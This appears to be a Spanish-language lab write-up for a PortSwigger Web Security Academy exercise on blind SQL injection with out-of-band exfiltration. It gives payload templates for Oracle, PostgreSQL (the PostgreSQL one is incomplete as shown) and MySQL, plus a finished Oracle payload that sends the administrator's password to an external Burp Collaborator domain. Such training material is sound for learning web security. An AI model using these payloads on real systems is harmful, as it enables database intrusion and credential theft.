> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# Exfiltración de datos mediante inyección SQL a través de una cadena OOB

Notas de Exfiltración de datos mediante inyección SQL a través de una cadena OOB para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Inyección SQL ciega con exfiltración de datos fuera de banda

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega. La aplicación usa una cookie de seguimiento para el análisis y ejecuta una consulta SQL que contiene el valor de la cookie enviada. / La consulta SQL se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, es posible desencadenar interacciones fuera de banda con un dominio externo. / La base de datos contiene una tabla separada llamada `users`, con `nombre de usuario` y `contraseña` columnas. Debe explotar la vulnerabilidad SQL ciega para descubrir la `administrador` contraseña del usuario.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgresSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* Mysql

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

Recuperar la contraseña del administrador (`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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